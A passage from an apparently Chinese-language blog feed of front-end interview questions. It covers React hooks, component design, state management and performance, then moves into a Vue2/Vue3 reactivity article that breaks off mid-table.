  useState,      // 状态管理
  useEffect,     // 副作用
  useContext,    // 上下文
  useRef,        // DOM/变量引用
  useCallback,   // 函数缓存
  useMemo,       // 计算缓存
  useReducer,    // 复杂状态
  useLayoutEffect, // 同步副作用
  useImperativeHandle, // 暴露方法
} from &apos;react&apos;;

// 1. useState
const [count, setCount] = useState(0);
const [user, setUser] = useState({ name: &apos;&apos;, age: 0 });

// 2. useEffect
useEffect(() =&amp;gt; {
  // 副作用逻辑
  const timer = setInterval(() =&amp;gt; {}, 1000);
  
  return () =&amp;gt; {
    // 清理函数
    clearInterval(timer);
  };
}, [dependency]); // 依赖数组

// 3. useContext
const theme = useContext(ThemeContext);

// 4. useRef
const inputRef = useRef(null);
&amp;lt;input ref={inputRef} /&amp;gt;;
inputRef.current.focus();

// 5. useCallback
const memoizedCallback = useCallback(() =&amp;gt; {
  doSomething(a, b);
}, [a, b]);

// 6. useMemo
const memoizedValue = useMemo(() =&amp;gt; computeExpensiveValue(a, b), [a, b]);

// 7. useReducer
const [state, dispatch] = useReducer(reducer, initialState);
dispatch({ type: &apos;increment&apos; });
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q5: useEffect 和 useLayoutEffect 的区别？⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特性&lt;/th&gt;
&lt;th&gt;&lt;code&gt;useEffect&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;useLayoutEffect&lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;执行时机&lt;/td&gt;
&lt;td&gt;浏览器绘制&lt;strong&gt;后&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;DOM 更新&lt;strong&gt;后&lt;/strong&gt;，绘制&lt;strong&gt;前&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;阻塞&lt;/td&gt;
&lt;td&gt;异步，不阻塞&lt;/td&gt;
&lt;td&gt;同步，阻塞绘制&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;使用场景&lt;/td&gt;
&lt;td&gt;大多数副作用&lt;/td&gt;
&lt;td&gt;需要读取/修改 DOM 布局&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;// useEffect：不阻塞渲染
useEffect(() =&amp;gt; {
  console.log(&apos;useEffect&apos;); // 绘制后执行
}, []);

// useLayoutEffect：阻塞渲染
useLayoutEffect(() =&amp;gt; {
  console.log(&apos;useLayoutEffect&apos;); // 绘制前执行
  // 适合需要同步测量的场景
  const rect = divRef.current.getBoundingClientRect();
}, []);

// 执行顺序
// render -&amp;gt; useLayoutEffect -&amp;gt; 浏览器绘制 -&amp;gt; useEffect
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;使用场景：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// useLayoutEffect：避免闪烁
function Tooltip({ target }) {
  const [position, setPosition] = useState({ top: 0, left: 0 });
  const tooltipRef = useRef(null);
  
  useLayoutEffect(() =&amp;gt; {
    // 在绘制前计算位置，避免闪烁
    const rect = target.getBoundingClientRect();
    setPosition({
      top: rect.bottom + 8,
      left: rect.left
    });
  }, [target]);
  
  return &amp;lt;div ref={tooltipRef} style={position}&amp;gt;...&amp;lt;/div&amp;gt;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q6: useCallback 和 useMemo 的区别？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// useCallback：缓存函数
const memoizedFn = useCallback(() =&amp;gt; {
  doSomething(a, b);
}, [a, b]);

// useMemo：缓存计算结果
const memoizedValue = useMemo(() =&amp;gt; computeExpensiveValue(a, b), [a, b]);

// 等价关系
useCallback(fn, deps) === useMemo(() =&amp;gt; fn, deps)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;使用场景：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// useCallback：避免子组件不必要的重渲染
const Parent = () =&amp;gt; {
  const [count, setCount] = useState(0);
  
  // ❌ 每次渲染都创建新函数，子组件会重渲染
  const handleClick = () =&amp;gt; console.log(&apos;clicked&apos;);
  
  // ✅ 缓存函数引用
  const handleClickMemo = useCallback(() =&amp;gt; {
    console.log(&apos;clicked&apos;);
  }, []);
  
  return &amp;lt;Child onClick={handleClickMemo} /&amp;gt;;
};

const Child = React.memo(({ onClick }) =&amp;gt; {
  console.log(&apos;Child rendered&apos;);
  return &amp;lt;button onClick={onClick}&amp;gt;Click&amp;lt;/button&amp;gt;;
});

// useMemo：缓存昂贵计算
const ExpensiveComponent = ({ items }) =&amp;gt; {
  // ❌ 每次渲染都重新计算
  const sorted = items.sort((a, b) =&amp;gt; a.price - b.price);
  
  // ✅ 只在 items 变化时计算
  const sortedMemo = useMemo(() =&amp;gt; {
    return [...items].sort((a, b) =&amp;gt; a.price - b.price);
  }, [items]);
  
  return &amp;lt;List items={sortedMemo} /&amp;gt;;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q7: useRef 的用途？⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 1. 获取 DOM 元素
function InputFocus() {
  const inputRef = useRef(null);
  
  const focusInput = () =&amp;gt; {
    inputRef.current.focus();
  };
  
  return (
    &amp;lt;&amp;gt;
      &amp;lt;input ref={inputRef} /&amp;gt;
      &amp;lt;button onClick={focusInput}&amp;gt;Focus&amp;lt;/button&amp;gt;
    &amp;lt;/&amp;gt;
  );
}

// 2. 保存可变值（不触发重渲染）
function Timer() {
  const [count, setCount] = useState(0);
  const intervalRef = useRef(null);
  
  useEffect(() =&amp;gt; {
    intervalRef.current = setInterval(() =&amp;gt; {
      setCount(c =&amp;gt; c + 1);
    }, 1000);
    
    return () =&amp;gt; clearInterval(intervalRef.current);
  }, []);
  
  const stop = () =&amp;gt; clearInterval(intervalRef.current);
  
  return &amp;lt;div&amp;gt;{count}&amp;lt;/div&amp;gt;;
}

// 3. 保存上一次的值
function usePrevious(value) {
  const ref = useRef();
  
  useEffect(() =&amp;gt; {
    ref.current = value;
  }, [value]);
  
  return ref.current;
}

// 使用
const prevCount = usePrevious(count);
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;组件设计&lt;/h2&gt;
&lt;h3&gt;Q8: 受控组件和非受控组件？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;类型&lt;/th&gt;
&lt;th&gt;数据来源&lt;/th&gt;
&lt;th&gt;更新方式&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;受控组件&lt;/td&gt;
&lt;td&gt;React state&lt;/td&gt;
&lt;td&gt;setState&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;非受控组件&lt;/td&gt;
&lt;td&gt;DOM&lt;/td&gt;
&lt;td&gt;ref&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;// 受控组件（推荐）
function ControlledForm() {
  const [value, setValue] = useState(&apos;&apos;);
  
  const handleChange = (e) =&amp;gt; {
    setValue(e.target.value);
  };
  
  return (
    &amp;lt;input 
      value={value} 
      onChange={handleChange} 
    /&amp;gt;
  );
}

// 非受控组件
function UncontrolledForm() {
  const inputRef = useRef(null);
  
  const handleSubmit = () =&amp;gt; {
    console.log(inputRef.current.value);
  };
  
  return (
    &amp;lt;&amp;gt;
      &amp;lt;input ref={inputRef} defaultValue=&quot;&quot; /&amp;gt;
      &amp;lt;button onClick={handleSubmit}&amp;gt;Submit&amp;lt;/button&amp;gt;
    &amp;lt;/&amp;gt;
  );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q9: React 组件通信方式？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 1. props（父 -&amp;gt; 子）
&amp;lt;Child name=&quot;Tom&quot; age={18} /&amp;gt;

// 2. 回调函数（子 -&amp;gt; 父）
// 父组件
&amp;lt;Child onUpdate={(data) =&amp;gt; setParentData(data)} /&amp;gt;
// 子组件
props.onUpdate(newData);

// 3. Context（跨层级）
const ThemeContext = createContext(&apos;light&apos;);

function App() {
  return (
    &amp;lt;ThemeContext.Provider value=&quot;dark&quot;&amp;gt;
      &amp;lt;DeepChild /&amp;gt;
    &amp;lt;/ThemeContext.Provider&amp;gt;
  );
}

function DeepChild() {
  const theme = useContext(ThemeContext);
  return &amp;lt;div&amp;gt;{theme}&amp;lt;/div&amp;gt;;
}

// 4. ref（父调子方法）
const childRef = useRef();
&amp;lt;Child ref={childRef} /&amp;gt;
childRef.current.someMethod();

// 5. 状态管理库（Redux/Zustand/Jotai）
// 全局状态共享
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q10: React.memo、PureComponent 的区别？⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// React.memo：函数组件的浅比较优化
const MemoizedComponent = React.memo(function MyComponent(props) {
  console.log(&apos;rendered&apos;);
  return &amp;lt;div&amp;gt;{props.name}&amp;lt;/div&amp;gt;;
});

// 自定义比较函数
const MemoizedWithCompare = React.memo(
  MyComponent,
  (prevProps, nextProps) =&amp;gt; {
    return prevProps.id === nextProps.id; // true 不重渲染
  }
);

// PureComponent：类组件的浅比较优化
class MyComponent extends React.PureComponent {
  render() {
    return &amp;lt;div&amp;gt;{this.props.name}&amp;lt;/div&amp;gt;;
  }
}

// 区别
// React.memo -&amp;gt; 函数组件
// PureComponent -&amp;gt; 类组件
// 都是浅比较 props（和 state）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;状态管理&lt;/h2&gt;
&lt;h3&gt;Q11: Redux 的工作原理？⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Redux 三大原则
// 1. 单一数据源（Store）
// 2. State 只读（通过 Action 修改）
// 3. 纯函数修改（Reducer）

// 数据流
// View -&amp;gt; Action -&amp;gt; Reducer -&amp;gt; Store -&amp;gt; View

// Action
const increment = () =&amp;gt; ({ type: &apos;INCREMENT&apos; });

// Reducer
function counterReducer(state = { count: 0 }, action) {
  switch (action.type) {
    case &apos;INCREMENT&apos;:
      return { count: state.count + 1 };
    default:
      return state;
  }
}

// Store
const store = createStore(counterReducer);

// 使用
store.dispatch(increment());
store.subscribe(() =&amp;gt; {
  console.log(store.getState());
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q12: Redux、MobX、Zustand 的区别？⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特性&lt;/th&gt;
&lt;th&gt;Redux&lt;/th&gt;
&lt;th&gt;MobX&lt;/th&gt;
&lt;th&gt;Zustand&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;数据流&lt;/td&gt;
&lt;td&gt;单向&lt;/td&gt;
&lt;td&gt;双向&lt;/td&gt;
&lt;td&gt;单向&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;学习曲线&lt;/td&gt;
&lt;td&gt;陡峭&lt;/td&gt;
&lt;td&gt;中等&lt;/td&gt;
&lt;td&gt;简单&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;代码量&lt;/td&gt;
&lt;td&gt;多&lt;/td&gt;
&lt;td&gt;少&lt;/td&gt;
&lt;td&gt;少&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;性能&lt;/td&gt;
&lt;td&gt;好&lt;/td&gt;
&lt;td&gt;好（细粒度）&lt;/td&gt;
&lt;td&gt;好&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TypeScript&lt;/td&gt;
&lt;td&gt;支持&lt;/td&gt;
&lt;td&gt;支持&lt;/td&gt;
&lt;td&gt;优秀&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;体积&lt;/td&gt;
&lt;td&gt;~7KB&lt;/td&gt;
&lt;td&gt;~15KB&lt;/td&gt;
&lt;td&gt;~1KB&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;// Zustand 示例（简洁）
import { create } from &apos;zustand&apos;;

const useCounterStore = create((set) =&amp;gt; ({
  count: 0,
  increment: () =&amp;gt; set((state) =&amp;gt; ({ count: state.count + 1 })),
  reset: () =&amp;gt; set({ count: 0 }),
}));

// 使用
function Counter() {
  const { count, increment } = useCounterStore();
  return &amp;lt;button onClick={increment}&amp;gt;{count}&amp;lt;/button&amp;gt;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;性能优化&lt;/h2&gt;
&lt;h3&gt;Q13: React 性能优化手段？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 1. React.memo 避免不必要渲染
const Child = React.memo(({ data }) =&amp;gt; {
  console.log(&apos;Child rendered&apos;);
  return &amp;lt;div&amp;gt;{data}&amp;lt;/div&amp;gt;;
});

// 2. useCallback 缓存函数
const Parent = () =&amp;gt; {
  const [count, setCount] = useState(0);
  
  const handleClick = useCallback(() =&amp;gt; {
    console.log(&apos;clicked&apos;);
  }, []);
  
  return &amp;lt;Child onClick={handleClick} /&amp;gt;;
};

// 3. useMemo 缓存计算
const ExpensiveList = ({ items }) =&amp;gt; {
  const sortedItems = useMemo(() =&amp;gt; {
    return [...items].sort((a, b) =&amp;gt; a.value - b.value);
  }, [items]);
  
  return &amp;lt;List items={sortedItems} /&amp;gt;;
};

// 4. 列表使用 key
{items.map(item =&amp;gt; (
  &amp;lt;Item key={item.id} data={item} /&amp;gt;
))}

// 5. 懒加载组件
const LazyComponent = React.lazy(() =&amp;gt; import(&apos;./HeavyComponent&apos;));

&amp;lt;Suspense fallback={&amp;lt;Loading /&amp;gt;}&amp;gt;
  &amp;lt;LazyComponent /&amp;gt;
&amp;lt;/Suspense&amp;gt;

// 6. 虚拟列表（长列表）
import { FixedSizeList } from &apos;react-window&apos;;

&amp;lt;FixedSizeList
  height={400}
  itemCount={10000}
  itemSize={35}
&amp;gt;
  {({ index, style }) =&amp;gt; (
    &amp;lt;div style={style}&amp;gt;Row {index}&amp;lt;/div&amp;gt;
  )}
&amp;lt;/FixedSizeList&amp;gt;

// 7. 避免内联对象/函数
// ❌ 每次渲染创建新对象
&amp;lt;Child style={{ color: &apos;red&apos; }} onClick={() =&amp;gt; {}} /&amp;gt;

// ✅ 提取到外部或 useMemo
const style = useMemo(() =&amp;gt; ({ color: &apos;red&apos; }), []);
&amp;lt;Child style={style} /&amp;gt;

// 8. 状态提升 vs 下沉
// 只在需要的组件维护状态，避免不必要的重渲染
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;知识点&lt;/th&gt;
&lt;th&gt;关键记忆&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Fiber&lt;/td&gt;
&lt;td&gt;可中断渲染，时间切片，优先级调度&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hooks 规则&lt;/td&gt;
&lt;td&gt;只能在顶层调用，只能在函数组件调用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;useEffect&lt;/td&gt;
&lt;td&gt;绘制后执行，异步不阻塞&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;useLayoutEffect&lt;/td&gt;
&lt;td&gt;绘制前执行，同步阻塞&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;useCallback&lt;/td&gt;
&lt;td&gt;缓存函数引用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;useMemo&lt;/td&gt;
&lt;td&gt;缓存计算结果&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;React.memo&lt;/td&gt;
&lt;td&gt;浅比较优化函数组件&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;性能优化&lt;/td&gt;
&lt;td&gt;memo + useCallback + 懒加载 + 虚拟列表&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/interview-guide-06-cross-platform/&quot;&gt;跨端框架面试题&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;涵盖 uniapp、React Native、Flutter 等跨端技术原理与对比。&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>Vue 框架面试题（中高级）</title><link>http://117.72.32.87/blog/posts/interview-guide-04-vue/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/interview-guide-04-vue/</guid><description>深入讲解 Vue2/Vue3 响应式原理、虚拟 DOM、Diff 算法、生命周期、组件通信、Vuex/Pinia 等高频面试题。</description><pubDate>Tue, 15 Sep 2026 06:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文包含 30+ 道 Vue 框架面试题，涵盖 Vue2 和 Vue3，难度标注：⭐ 基础 · ⭐⭐ 进阶 · ⭐⭐⭐ 高级 · 🔥 高频必考&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;Vue 基础&lt;/h2&gt;
&lt;h3&gt;Q1: Vue 的优缺点？⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;优点&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;渐进式框架&lt;/td&gt;
&lt;td&gt;可以逐步引入，不需要全家桶&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;双向数据绑定&lt;/td&gt;
&lt;td&gt;v-model 简化表单处理&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;组件化&lt;/td&gt;
&lt;td&gt;单文件组件 (SFC) 开发体验好&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;虚拟 DOM&lt;/td&gt;
&lt;td&gt;性能优化，跨平台能力&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;生态丰富&lt;/td&gt;
&lt;td&gt;Vue Router、Pinia、Nuxt 等&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;文档完善&lt;/td&gt;
&lt;td&gt;中文文档友好&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;缺点&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;灵活性高&lt;/td&gt;
&lt;td&gt;大型项目需要规范约束&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SEO 问题&lt;/td&gt;
&lt;td&gt;SPA 需要 SSR 解决&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;首屏加载&lt;/td&gt;
&lt;td&gt;需要优化手段&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Q2: Vue2 和 Vue3 的区别？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特性&lt;/th&gt;
&lt;th&gt;Vue2&lt;/th&gt;
&lt;th&gt;Vue3&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;响应式&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Object.defineProperty&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Proxy&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;生命周期&lt;/td&gt;
&lt;td&gt;&lt;code&gt;beforeCreate&lt;/code&gt; 等&lt;/td&gt;
&lt;td&gt;&lt;code&gt;setup&lt;/code&gt; + &lt;code&gt;onMounted&lt;/code&gt; 等&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;组合式 API&lt;/td&gt;
&lt;td&gt;无（需 mixin）&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Composition API&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TypeScript&lt;/td&gt;
&lt;td&gt;支持有限&lt;/td&gt;
&lt;td&gt;原生支持&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;性能&lt;/td&gt;
&lt;td&gt;较好&lt;/td&gt;
&lt;td&gt;更快（编译优化）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;包体积&lt;/td&gt;
&lt;td&gt;~20KB&lt;/td&gt;
&lt;td&gt;~10KB（Tree Shaking）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fragment&lt;/td&gt;
&lt;td&gt;不支持（单根）&lt;/td&gt;
&lt;td&gt;支持多根节点&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Teleport&lt;/td&gt;
&lt;td&gt;不支持&lt;/td&gt;
&lt;td&gt;内置支持&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Suspense&lt;/td&gt;
&lt;td&gt;不支持&lt;/td&gt;
&lt;td&gt;内置支持&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;// Vue2 Options API
export default {
  data() {
    return { count: 0 };
  },
  methods: {
    increment() { this.count++; }
  },
  computed: {
    double() { return this.count * 2; }
  },
  mounted() {
    console.log(&apos;mounted&apos;);
  }
};

// Vue3 Composition API
import { ref, computed, onMounted } from &apos;vue&apos;;

export default {
  setup() {
    const count = ref(0);
    const double = computed(() =&amp;gt; count.value * 2);
    
    function increment() {
      count.value++;
    }
    
    onMounted(() =&amp;gt; {
      console.log(&apos;mounted&apos;);
    });
    
    return { count, double, increment };
  }
};

// Vue3 &amp;lt;script setup&amp;gt; 语法糖
&amp;lt;script setup&amp;gt;
import { ref, computed, onMounted } from &apos;vue&apos;;

const count = ref(0);
const double = computed(() =&amp;gt; count.value * 2);
const increment = () =&amp;gt; count.value++;

onMounted(() =&amp;gt; console.log(&apos;mounted&apos;));
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;响应式原理&lt;/h2&gt;
&lt;h3&gt;Q3: Vue2 响应式原理？⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Vue2 使用 &lt;code&gt;Object.defineProperty&lt;/code&gt; 实现数据劫持。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 简化实现
function defineReactive(obj, key, val) {
  const dep = new Dep(); // 依赖管理器
  
  Object.defineProperty(obj, key, {
    enumerable: true,
    configurable: true,
    get() {
      if (Dep.target) {
        dep.addSub(Dep.target); // 依赖收集
      }
      return val;
    },
    set(newVal) {
      if (newVal === val) return;
      val = newVal;
      dep.notify(); // 派发更新
    }
  });
}

function observe(obj) {
  if (typeof obj !== &apos;object&apos;) return;
  
  Object.keys(obj).forEach(key =&amp;gt; {
    defineReactive(obj, key, obj[key]);
    observe(obj[key]); // 递归监听
  });
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;流程图：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;初始化 -&amp;gt; observe(data) -&amp;gt; defineReactive
                                |
    渲染 -&amp;gt; Watcher -&amp;gt; 读取数据 -&amp;gt; get 触发 -&amp;gt; 依赖收集
                                |
    修改数据 -&amp;gt; set 触发 -&amp;gt; dep.notify() -&amp;gt; Watcher.update() -&amp;gt; 重新渲染
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Vue2 响应式的缺陷：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const obj = { a: 1 };
observe(obj);

// 1. 无法检测对象属性的添加/删除
obj.b = 2;           // 不是响应式
delete obj.a;        // 不是响应式

// 解决：Vue.set / Vue.delete
Vue.set(obj, &apos;b&apos;, 2);
Vue.delete(obj, &apos;a&apos;);

// 2. 无法检测数组索引修改和长度变化
arr[0] = &apos;new&apos;;      // 不是响应式
arr.length = 0;      // 不是响应式

// 解决：变异方法
arr.splice(0, 1, &apos;new&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q4: Vue3 响应式原理？⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Vue3 使用 &lt;code&gt;Proxy&lt;/code&gt; 替代 &lt;code&gt;Object.defineProperty&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 简化实现
function reactive(target) {
  return new Proxy(target, {
    get(target, key, receiver) {
      const result = Reflect.get(target, key, receiver);
      track(target, key); // 依赖收集
      
      // 惰性代理嵌套对象
      if (typeof result === &apos;object&apos; &amp;amp;&amp;amp; result !== null) {
        return reactive(result);
      }
      return result;
    },
    set(target, key, value, receiver) {
      const oldValue = target[key];
      const result = Reflect.set(target, key, value, receiver);
      
      if (oldValue !== value) {
        trigger(target, key); // 触发更新
      }
      return result;
    },
    deleteProperty(target, key) {
      const result = Reflect.deleteProperty(target, key);
      trigger(target, key);
      return result;
    }
  });
}

// ref 实现（基本类型）
function ref(value) {
  const wrapper = {
    get value() {
      track(wrapper, &apos;value&apos;);
      return value;
    },
    set value(newVal) {
      if (newVal !== value) {
        value = newVal;
        trigger(wrapper, &apos;value&apos;);
      }
    }
  };
  
  Object.defineProperty(wrapper, &apos;__v_isRef&apos;, { value: true });
  return wrapper;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Vue3 响应式优势：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特性&lt;/th&gt;
&lt;th&gt;Vue2&lt;/th&gt;
&lt;th&gt;Vue3&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;对象新增/删除属性&lt;/td&gt;
&lt;td&gt;不支持&lt;/td&gt;
&lt;td&gt;支持&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;数组索引修改&lt;/td&gt;
&lt;td&gt;不支持&lt;/td&gt;
&lt;td&gt;支持&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;嵌套对象&lt;/td&gt;
&lt;td&gt;初始化递归&lt;/td&gt;
&lt;td&gt;惰性代理&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Map/Set&lt;/td&gt;
&lt;td&gt;不支持&lt;/td&gt;
&lt;td&gt;支持&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;性能&lt;/td&gt;
&lt;td&gt;初始化开销大&lt;/td&gt;
&lt;td&gt;运行时开销小&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Q5: ref 和 reactive 的区别？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特性&lt;/th&gt;
&lt;th&gt;&lt;code&gt;ref&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;reactive&lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
